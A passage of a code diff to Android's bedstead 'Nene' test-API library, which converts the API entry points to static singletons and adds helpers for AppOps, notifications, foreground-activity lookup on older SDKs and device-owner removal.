+import com.android.bedstead.metricsrecorder.MetricQueryBuilder;
+
+import com.google.common.truth.Fact;
+import com.google.common.truth.FailureMetadata;
+import com.google.common.truth.Subject;
+
+import java.time.Duration;
+
+public final class MetricQueryBuilderSubject extends Subject {
+
+    /**
+     * Assertions about {@link MetricQueryBuilder}.
+     */
+    public static Factory<MetricQueryBuilderSubject, MetricQueryBuilder> MetricQueryBuilder() {
+        return MetricQueryBuilderSubject::new;
+    }
+
+    /**
+     * Assertions about {@link MetricQueryBuilder}.
+     */
+    public static MetricQueryBuilderSubject assertThat(@Nullable MetricQueryBuilder actual) {
+        return assertAbout(MetricQueryBuilder()).that(actual);
+    }
+
+    @Nullable private final MetricQueryBuilder mActual;
+
+    private MetricQueryBuilderSubject(FailureMetadata metadata, @Nullable MetricQueryBuilder actual) {
+        super(metadata, actual);
+        this.mActual = actual;
+    }
+
+    /**
+     * Asserts that an event occurred (that {@link MetricQueryBuilder#poll()} returns non-null).
+     */
+    public void wasLogged() {
+        if (mActual.poll() == null) {
+            // TODO(b/197315353): Add non-matching metrics
+            failWithoutActual(Fact.simpleFact("Expected metric to have been logged matching: "
+                    + mActual + " but it was not logged."));
+        }
+    }
+
+    /**
+     * Asserts that an event occurred (that {@link MetricQueryBuilder#poll(Duration)} returns non-null).
+     */
+    public void wasLoggedWithin(Duration timeout) {
+        if (mActual.poll(timeout) == null) {
+            // TODO(b/197315353): Add non-matching events
+            failWithoutActual(Fact.simpleFact("Expected metric to have been logged matching: "
+                    + mActual + " but it was not logged."));
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/Android.bp b/common/device-side/bedstead/nene/Android.bp
index f329665..21809bb 100644
--- a/common/device-side/bedstead/nene/Android.bp
+++ b/common/device-side/bedstead/nene/Android.bp
@@ -2,6 +2,23 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
+// TODO(b/203507664): Remove NeneInternal once we no longer need QUERY_ALL_PACKAGES to install
+android_library {
+    name: "NeneInternal",
+    sdk_version: "test_current",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    manifest: "src/main/AndroidManifestInternal.xml",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "guava",
+        "Queryable",
+        "RemoteFrameworkClasses"
+    ],
+    min_sdk_version: "27"
+}
+
 android_library {
     name: "Nene",
     sdk_version: "test_current",
@@ -11,7 +28,9 @@
     manifest: "src/main/AndroidManifest.xml",
     static_libs: [
         "compatibility-device-util-axt",
-        "guava"
+        "guava",
+        "Queryable",
+        "RemoteFrameworkClasses"
     ],
     min_sdk_version: "27"
 }
@@ -37,7 +56,7 @@
     ],
     data: [":NeneTestApp1"],
     manifest: "src/test/AndroidManifest.xml",
-    min_sdk_version: "28"
+    min_sdk_version: "27"
 }
 
 android_test_helper_app {
diff --git a/common/device-side/bedstead/nene/TEST_MAPPING b/common/device-side/bedstead/nene/TEST_MAPPING
deleted file mode 100644
index 808b8b8..0000000
--- a/common/device-side/bedstead/nene/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "postsubmit": [
-    {
-      "name": "NeneTest"
-    }
-  ]
-}
diff --git a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
index dafb448..8b3dca2 100644
--- a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
@@ -19,10 +19,18 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.bedstead.nene">
     <uses-sdk android:minSdkVersion="27" />
-
-    <!-- needed for package management APIs -->
+    <uses-permission android:name="android.permission.GET_TASKS" android:maxSdkVersion="28" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
-
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="29" />
     <application>
+        <service
+            android:name="com.android.bedstead.nene.notifications.NeneNotificationListenerService"
+            android:label="Notification Listener"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
     </application>
 </manifest>
diff --git a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml b/common/device-side/bedstead/nene/src/main/AndroidManifestInternal.xml
similarity index 84%
copy from common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
copy to common/device-side/bedstead/nene/src/main/AndroidManifestInternal.xml
index dfc7779..6e64323 100644
--- a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/nene/src/main/AndroidManifestInternal.xml
@@ -17,8 +17,9 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.bedstead.remotedpc.communication">
+          package="com.android.bedstead.nene">
     <uses-sdk android:minSdkVersion="27" />
+    <uses-permission android:name="android.permission.GET_TASKS" android:maxSdkVersion="28" />
     <application>
     </application>
 </manifest>
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
index 1123595..ecc04e3 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
@@ -20,50 +20,66 @@
 import com.android.bedstead.nene.annotations.Experimental;
 import com.android.bedstead.nene.context.Context;
 import com.android.bedstead.nene.devicepolicy.DevicePolicy;
+import com.android.bedstead.nene.notifications.Notifications;
 import com.android.bedstead.nene.packages.Packages;
 import com.android.bedstead.nene.permissions.Permissions;
+import com.android.bedstead.nene.settings.Settings;
+import com.android.bedstead.nene.systemproperties.SystemProperties;
 import com.android.bedstead.nene.users.Users;
 
 /**
  * Entry point to Nene Test APIs.
  */
 public final class TestApis {
-    private final Context mContext = new Context(this);
-    private final Users mUsers = new Users(this);
-    private final Packages mPackages = new Packages(this);
-    private final DevicePolicy mDevicePolicy = new DevicePolicy(this);
-    private final Activities mActivities = new Activities(this);
-
     /** Access Test APIs related to Users. */
-    public Users users() {
-        return mUsers;
+    public static Users users() {
+        return Users.sInstance;
     }
 
     /** Access Test APIs related to Packages. */
-    public Packages packages() {
-        return mPackages;
+    public static Packages packages() {
+        return Packages.sInstance;
     }
 
     /** Access Test APIs related to device policy. */
-    public DevicePolicy devicePolicy() {
-        return mDevicePolicy;
+    public static DevicePolicy devicePolicy() {
+        return DevicePolicy.sInstance;
     }
 
     /** Access Test APIs related to permissions. */
-    public Permissions permissions() {
+    public static Permissions permissions() {
         return Permissions.sInstance;
     }
 
     /** Access Test APIs related to context. */
-    public Context context() {
-        return mContext;
+    public static Context context() {
+        return Context.sInstance;
+    }
+
+    /** Access Test APIs relating to Settings. */
+    public static Settings settings() {
+        return Settings.sInstance;
+    }
+
+    /** Access Test APIs related to System Properties. */
+    public static SystemProperties systemProperties() {
+        return SystemProperties.sInstance;
     }
 
     /** Access Test APIs related to activities. */
-    // TODO(scottjonathan): Consider if Activities requires a top-level nene API or if it can go
-    //  inside packages
     @Experimental
-    public Activities activities() {
-        return mActivities;
+    public static Activities activities() {
+        return Activities.sInstance;
+    }
+
+    /** Access Test APIs related to notifications. */
+    public static Notifications notifications() {
+        return Notifications.sInstance;
+    }
+
+    /** @deprecated Use statically */
+    @Deprecated()
+    public TestApis() {
+
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
index 798476f..821176d 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
@@ -17,43 +17,42 @@
 package com.android.bedstead.nene.activities;
 
 import static android.Manifest.permission.REAL_GET_TASKS;
+import static android.os.Build.VERSION_CODES.Q;
 
 import android.app.ActivityManager;
+import android.content.ComponentName;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.packages.ComponentReference;
 import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.Versions;
 
 import java.util.List;
 
 public final class Activities {
 
-    private final TestApis mTestApis;
+    public static final Activities sInstance = new Activities();
 
-    public Activities(TestApis testApis) {
-        mTestApis = testApis;
+    private Activities() {
     }
 
-    /**
-     * Wrap the given {@link NeneActivity} to use Nene APIs.
-     */
-    public Activity<NeneActivity> wrap(NeneActivity activity) {
-        return new Activity<>(mTestApis, activity, activity);
-    }
 
     /**
      * Wrap the given {@link NeneActivity} subclass to use Nene APIs.
      */
     public <E extends NeneActivity> Activity<E> wrap(Class<E> clazz, E activity) {
-        return new Activity<>(mTestApis, activity, activity);
+        return new Activity<>(activity, activity);
     }
 
     /**
      * Wrap the given {@link android.app.Activity} to use Nene APIs.
      */
     public LocalActivity wrap(android.app.Activity activity) {
-        return new LocalActivity(mTestApis, activity);
+        return new LocalActivity(activity);
     }
 
     /**
@@ -61,16 +60,35 @@
      */
     @Experimental
     public ComponentReference foregroundActivity() {
-        try (PermissionContext p = mTestApis.permissions().withPermission(REAL_GET_TASKS)) {
+        if (!Versions.meetsMinimumSdkVersionRequirement(Q)) {
+            return foregroundActivityPreQ();
+        }
+        try (PermissionContext p = TestApis.permissions().withPermission(REAL_GET_TASKS)) {
             ActivityManager activityManager =
-                    mTestApis.context().instrumentedContext().getSystemService(
+                    TestApis.context().instrumentedContext().getSystemService(
                             ActivityManager.class);
             List<ActivityManager.RunningTaskInfo> runningTasks = activityManager.getRunningTasks(1);
             if (runningTasks.isEmpty()) {
                 return null;
             }
 
-            return new ComponentReference(mTestApis, runningTasks.get(0).topActivity);
+            return new ComponentReference(runningTasks.get(0).topActivity);
+        }
+    }
+
+    private ComponentReference foregroundActivityPreQ() {
+        try {
+            return ShellCommand.builder("dumpsys activity top")
+                    .executeAndParseOutput((dumpsysOutput) -> {
+                        // The final ACTIVITY is the one on top
+                        String[] activitySplits = dumpsysOutput.split("ACTIVITY ");
+                        String component = activitySplits[activitySplits.length - 1]
+                                .split(" ", 2)[0];
+                        ComponentName componentName = ComponentName.unflattenFromString(component);
+                        return new ComponentReference(componentName);
+                    });
+        } catch (AdbException | RuntimeException e) {
+            throw new NeneException("Error getting foreground activity pre Q", e);
         }
     }
 
@@ -83,7 +101,7 @@
     @Experimental
     public int getLockTaskModeState() {
         ActivityManager activityManager =
-                mTestApis.context().instrumentedContext().getSystemService(
+                TestApis.context().instrumentedContext().getSystemService(
                         ActivityManager.class);
 
         return activityManager.getLockTaskModeState();
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activity.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activity.java
index 07cadf2..dcc3711 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activity.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activity.java
@@ -19,13 +19,12 @@
 import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
 
 import android.content.Intent;
+import android.util.Log;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.annotations.Experimental;
 import com.android.bedstead.nene.packages.ComponentReference;
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.util.Objects;
+import com.android.bedstead.nene.utils.Poll;
 
 /**
  * A wrapper around a specific Activity instance.
@@ -33,6 +32,8 @@
 @Experimental
 public class Activity<E> {
 
+    private static final String TAG =  "BedsteadActivityWrapper";
+
     /*
      * Note that methods in this class must not rely on the activity existing within the current
      * process. These APIs must support activities which exist in any process (and they can be
@@ -42,12 +43,10 @@
      * {@link LocalActivity}.
      */
 
-    private final TestApis mTestApis;
     private final E mActivityInstance;
     private final NeneActivity mActivity;
 
-    Activity(TestApis testApis, E activityInstance, NeneActivity activity) {
-        mTestApis = testApis;
+    Activity(E activityInstance, NeneActivity activity) {
         mActivityInstance = activityInstance;
         mActivity = activity;
     }
@@ -58,12 +57,15 @@
      */
     @Experimental
     public void startLockTask() {
+        Log.d(TAG, "startLockTask() on " + mActivity);
         mActivity.startLockTask();
 
         // TODO(scottjonathan): What if we're already in lock task mode when we start it here?
         //  find another thing to poll on
-        PollingCheck.waitFor(
-                () -> mTestApis.activities().getLockTaskModeState() != LOCK_TASK_MODE_NONE);
+        Poll.forValue("Lock task mode state", () -> TestApis.activities().getLockTaskModeState())
+                .toNotBeEqualTo(LOCK_TASK_MODE_NONE)
+                .errorOnFail()
+                .await();
     }
 
     /**
@@ -72,12 +74,15 @@
      */
     @Experimental
     public void stopLockTask() {
+        Log.d(TAG, "stopLockTask() on " + mActivity);
         mActivity.stopLockTask();
 
         // TODO(scottjonathan): What if we're already in lock task mode when we start it here?
-        //  find another thing to poll on
-        PollingCheck.waitFor(
-                () -> mTestApis.activities().getLockTaskModeState() == LOCK_TASK_MODE_NONE);
+        //  find another thing to poll
+        Poll.forValue("Lock task mode state", () -> TestApis.activities().getLockTaskModeState())
+                .toBeEqualTo(LOCK_TASK_MODE_NONE)
+                .errorOnFail()
+                .await();
     }
 
     /**
@@ -89,15 +94,21 @@
      */
     @Experimental
     public void startActivity(Intent intent) {
+        Log.d(TAG, "startActivity(): " + intent);
         if (intent.getComponent() == null) {
-            ComponentReference startActivity = mTestApis.activities().foregroundActivity();
+            ComponentReference startActivity = TestApis.activities().foregroundActivity();
             mActivity.startActivity(intent);
-            PollingCheck.waitFor(() -> !Objects.equals(startActivity,
-                    mTestApis.activities().foregroundActivity()));
+            Poll.forValue("Foreground activity", () -> TestApis.activities().foregroundActivity())
+                    .toNotBeEqualTo(startActivity)
+                    .errorOnFail()
+                    .await();
         } else {
             mActivity.startActivity(intent);
-            ComponentReference component = new ComponentReference(mTestApis, intent.getComponent());
-            PollingCheck.waitFor(() -> component.equals(mTestApis.activities().foregroundActivity()));
+            ComponentReference component = new ComponentReference(intent.getComponent());
+            Poll.forValue("Foreground activity", () -> TestApis.activities().foregroundActivity())
+                    .toBeEqualTo(component)
+                    .errorOnFail()
+                    .await();
         }
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityReference.java
index fa76cf4..4915f67 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityReference.java
@@ -18,24 +18,23 @@
 
 import android.content.ComponentName;
 
-import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.packages.ComponentReference;
-import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.packages.Package;
 
 /**
  * A representation of an activity on device which may or may not exist.
  */
 public final class ActivityReference extends ComponentReference {
-    public ActivityReference(TestApis testApis, PackageReference packageName, String className) {
-        super(testApis, packageName, className);
+    public ActivityReference(Package packageName, String className) {
+        super(packageName, className);
     }
 
-    public ActivityReference(TestApis testApis, ComponentName component) {
-        super(testApis, component);
+    public ActivityReference(ComponentName component) {
+        super(component);
     }
 
-    public ActivityReference(TestApis testApis, ComponentReference component) {
-        super(testApis, component.componentName());
+    public ActivityReference(ComponentReference component) {
+        super(component.componentName());
     }
 
     @Override
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
index a7d43fb..01fb496 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
@@ -17,44 +17,18 @@
 package com.android.bedstead.nene.activities;
 
 import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
+import android.app.RemoteActivityImpl;
+import android.os.UserHandle;
 
-class ActivityWrapper implements NeneActivity {
-
-    private final Activity mActivity;
+class ActivityWrapper extends RemoteActivityImpl implements NeneActivity {
 
     ActivityWrapper(Activity activity) {
-        mActivity = activity;
+        super(activity);
     }
 
     @Override
-    public void startLockTask() {
-        mActivity.startLockTask();
-    }
-
-    @Override
-    public void stopLockTask() {
-        mActivity.stopLockTask();
-    }
-
-    @Override
-    public void finish() {
-        mActivity.finish();
-    }
-
-    @Override
-    public boolean isFinishing() {
-        return mActivity.isFinishing();
-    }
-
-    @Override
-    public void startActivity(Intent intent) {
-        mActivity.startActivity(intent);
-    }
-
-    @Override
-    public void startActivity(Intent intent, Bundle options) {
-        mActivity.startActivity(intent, options);
+    public UserHandle getUser() {
+        // Assuming if we have an Activity it's on the instrumented user
+        return android.os.Process.myUserHandle();
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/LocalActivity.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/LocalActivity.java
index dea242d..35dd6d1 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/LocalActivity.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/LocalActivity.java
@@ -16,10 +16,9 @@
 
 package com.android.bedstead.nene.activities;
 
-import com.android.bedstead.nene.TestApis;
-
 public class LocalActivity extends Activity<android.app.Activity> {
-    LocalActivity(TestApis testApis, android.app.Activity activity) {
-        super(testApis, activity, new ActivityWrapper(activity));
+
+    LocalActivity(android.app.Activity activity) {
+        super(activity, new ActivityWrapper(activity));
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
index 372a89a..9a5a0ea 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
@@ -16,31 +16,14 @@
 
 package com.android.bedstead.nene.activities;
 
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
+import android.app.RemoteActivity;
+import android.os.UserHandle;
 
 /**
- * Interface for use by classes which are able to be used in Nene activity test apis.
- *
- * <p>Methods on this interface should match exactly methods on {@link Activity}.
+ * Additional methods which are not direct wrappers of {@link Activity}.
  */
-public interface NeneActivity {
-    /** See {@link Activity#startLockTask}. */
-    void startLockTask();
+public interface NeneActivity extends RemoteActivity {
 
-    /** See {@link Activity#stopLockTask}. */
-    void stopLockTask();
-
-    /** See {@link Activity#finish()}. */
-    void finish();
-
-    /** See {@link Activity#isFinishing}. */
-    boolean isFinishing();
-
-    /** See {@link Activity#startActivity}. */
-    void startActivity(Intent intent);
-
-    /** See {@link Activity#startActivity}. */
-    void startActivity(Intent intent, Bundle options);
+    /** Get the user the Activity is running on. */
+    UserHandle getUser();
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/appops/AppOps.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/appops/AppOps.java
new file mode 100644
index 0000000..ee9927f
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/appops/AppOps.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.appops;
+
+import static android.os.Build.VERSION_CODES.Q;
+
+import static com.android.bedstead.nene.permissions.Permissions.MANAGE_APP_OPS_MODES;
+
+import android.annotation.TargetApi;
+import android.app.AppOpsManager;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.utils.Versions;
+
+@Experimental
+/** Manage AppOps for a package. */
+public final class AppOps {
+
+    /** Valid modes for an AppOp. */
+    public enum AppOpsMode {
+        ALLOWED(AppOpsManager.MODE_ALLOWED),
+        IGNORED(AppOpsManager.MODE_IGNORED),
+        ERRORED(AppOpsManager.MODE_ERRORED),
+        DEFAULT(AppOpsManager.MODE_DEFAULT),
+        FOREGROUND(AppOpsManager.MODE_FOREGROUND);
+
+        final int mValue;
+
+        AppOpsMode(int value) {
+            this.mValue = value;
+        }
+
+        static AppOpsMode forValue(int value) {
+            switch (value) {
+                case AppOpsManager.MODE_ALLOWED:
+                    return ALLOWED;
+                case AppOpsManager.MODE_IGNORED:
+                    return IGNORED;
+                case AppOpsManager.MODE_ERRORED:
+                    return ERRORED;
+                case AppOpsManager.MODE_DEFAULT:
+                    return DEFAULT;
+                case AppOpsManager.MODE_FOREGROUND:
+                    return FOREGROUND;
+                default:
+                    throw new IllegalStateException("Unknown AppOpsMode");
+            }
+        }
+    }
+
+    private static final AppOpsManager sAppOpsManager =
+            TestApis.context().instrumentedContext().getSystemService(AppOpsManager.class);
+    private final Package mPackage;
+
+    public AppOps(Package pkg) {
+        this.mPackage = pkg;
+    }
+
+    /** Set an AppOp for the given package. */
+    public void set(String appOpName, AppOpsMode mode) {
+        try (PermissionContext p = TestApis.permissions().withPermission(MANAGE_APP_OPS_MODES)) {
+            sAppOpsManager.setMode(appOpName, mPackage.uid(), mPackage.packageName(), mode.mValue);
+        }
+    }
+
+    /** Get the AppOp mode for the given package. */
+    @TargetApi(Q)
+    public AppOpsMode get(String appOpName) {
+        Versions.requireMinimumVersion(Q);
+        return AppOpsMode.forValue(
+                sAppOpsManager.unsafeCheckOpNoThrow(
+                        appOpName, mPackage.uid(), mPackage.packageName()));
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java
index becd320..0df8293 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java
@@ -20,7 +20,6 @@
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.users.UserReference;
 
@@ -33,10 +32,11 @@
             InstrumentationRegistry.getInstrumentation().getTargetContext();
     private static final android.content.Context sInstrumentationContext =
             InstrumentationRegistry.getInstrumentation().getContext();
-    private final TestApis mTestApis;
 
-    public Context(TestApis testApis) {
-        mTestApis = testApis;
+    public static final Context sInstance = new Context();
+
+    private Context() {
+
     }
 
     /**
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser.java
index 505f306..f17f113 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser.java
@@ -19,7 +19,6 @@
 import android.annotation.TargetApi;
 import android.os.Build;
 
-import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 import com.android.bedstead.nene.users.UserReference;
 
@@ -32,8 +31,8 @@
     /**
      * Get the {@link AdbDevicePolicyParser} for the given version.
      */
-    static AdbDevicePolicyParser get(TestApis testApis, int sdkVersion) {
-        return new AdbDevicePolicyParser27(testApis);
+    static AdbDevicePolicyParser get(int sdkVersion) {
+        return new AdbDevicePolicyParser27();
     }
 
     /**
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser27.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser27.java
index de24e0d..ccb1a00 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser27.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser27.java
@@ -35,10 +35,7 @@
 
     static final int DEFAULT_INDENTATION = 2;
 
-    private final TestApis mTestApis;
-
-    AdbDevicePolicyParser27(TestApis testApis) {
-        mTestApis = testApis;
+    AdbDevicePolicyParser27() {
     }
 
     @Override
@@ -71,8 +68,8 @@
                         "ComponentInfo\\{", 2)[1].split("\\}", 2)[0]);
         int userId = Integer.parseInt(deviceOwnerSection.split(
                 "User ID: ", 2)[1].split("\n", 2)[0]);
-        return new DeviceOwner(mTestApis, mTestApis.users().find(userId),
-                mTestApis.packages().find(componentName.getPackageName()), componentName);
+        return new DeviceOwner(TestApis.users().find(userId),
+                TestApis.packages().find(componentName.getPackageName()), componentName);
     }
 
     String getDeviceOwnerSection(Set<String> devicePolicySections) {
@@ -114,7 +111,7 @@
                         "ComponentInfo\\{", 2)[1].split("\\}", 2)[0]);
         int userId = Integer.parseInt(
                 profileOwnerSection.split("\\(User ", 2)[1].split("\\)", 2)[0]);
-        return new ProfileOwner(mTestApis, mTestApis.users().find(userId),
-                mTestApis.packages().find(componentName.getPackageName()), componentName);
+        return new ProfileOwner(TestApis.users().find(userId),
+                TestApis.packages().find(componentName.getPackageName()), componentName);
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DeviceOwner.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DeviceOwner.java
index c46791b..ae3d100 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DeviceOwner.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DeviceOwner.java
@@ -16,15 +16,21 @@
 
 package com.android.bedstead.nene.devicepolicy;
 
+import static com.android.bedstead.nene.permissions.Permissions.MANAGE_PROFILE_AND_DEVICE_OWNERS;
+
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
+import android.os.Build;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.utils.Versions;
 
 import java.util.Objects;
 
@@ -32,25 +38,10 @@
  * A reference to a Device Owner.
  */
 public final class DeviceOwner extends DevicePolicyController {
-
-    DeviceOwner(TestApis testApis,
-            UserReference user,
-            PackageReference pkg,
+    DeviceOwner(UserReference user,
+            Package pkg,
             ComponentName componentName) {
-        super(testApis, user, pkg, componentName);
-    }
-
-    @Override
-    public void remove() {
-        // TODO(scottjonathan): use DevicePolicyManager#forceRemoveActiveAdmin on S+
-        try {
-            ShellCommand.builder("dpm remove-active-admin")
-                    .addOperand(componentName().flattenToShortString())
-                    .validate(ShellCommandUtils::startsWithSuccess)
-                    .execute();
-        } catch (AdbException e) {
-            throw new NeneException("Error removing device owner " + this, e);
-        }
+        super(user, pkg, componentName);
     }
 
     @Override
@@ -65,6 +56,34 @@
     }
 
     @Override
+    public void remove() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
+            removePreS();
+            return;
+        }
+
+        DevicePolicyManager devicePolicyManager =
+                TestApis.context().androidContextAsUser(mUser).getSystemService(
+                        DevicePolicyManager.class);
+
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)) {
+            devicePolicyManager.forceRemoveActiveAdmin(mComponentName, mUser.id());
+        }
+    }
+
+    private void removePreS() {
+        try {
+            ShellCommand.builderForUser(mUser, "dpm remove-active-admin")
+                    .addOperand(componentName().flattenToShortString())
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+        } catch (AdbException e) {
+            throw new NeneException("Error removing device owner " + this, e);
+        }
+    }
+
+    @Override
     public boolean equals(Object obj) {
         if (!(obj instanceof DeviceOwner)) {
             return false;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
index 90a9dc3..2d8d21d 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
@@ -16,9 +16,9 @@
 
 package com.android.bedstead.nene.devicepolicy;
 
+import static android.Manifest.permission.CREATE_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
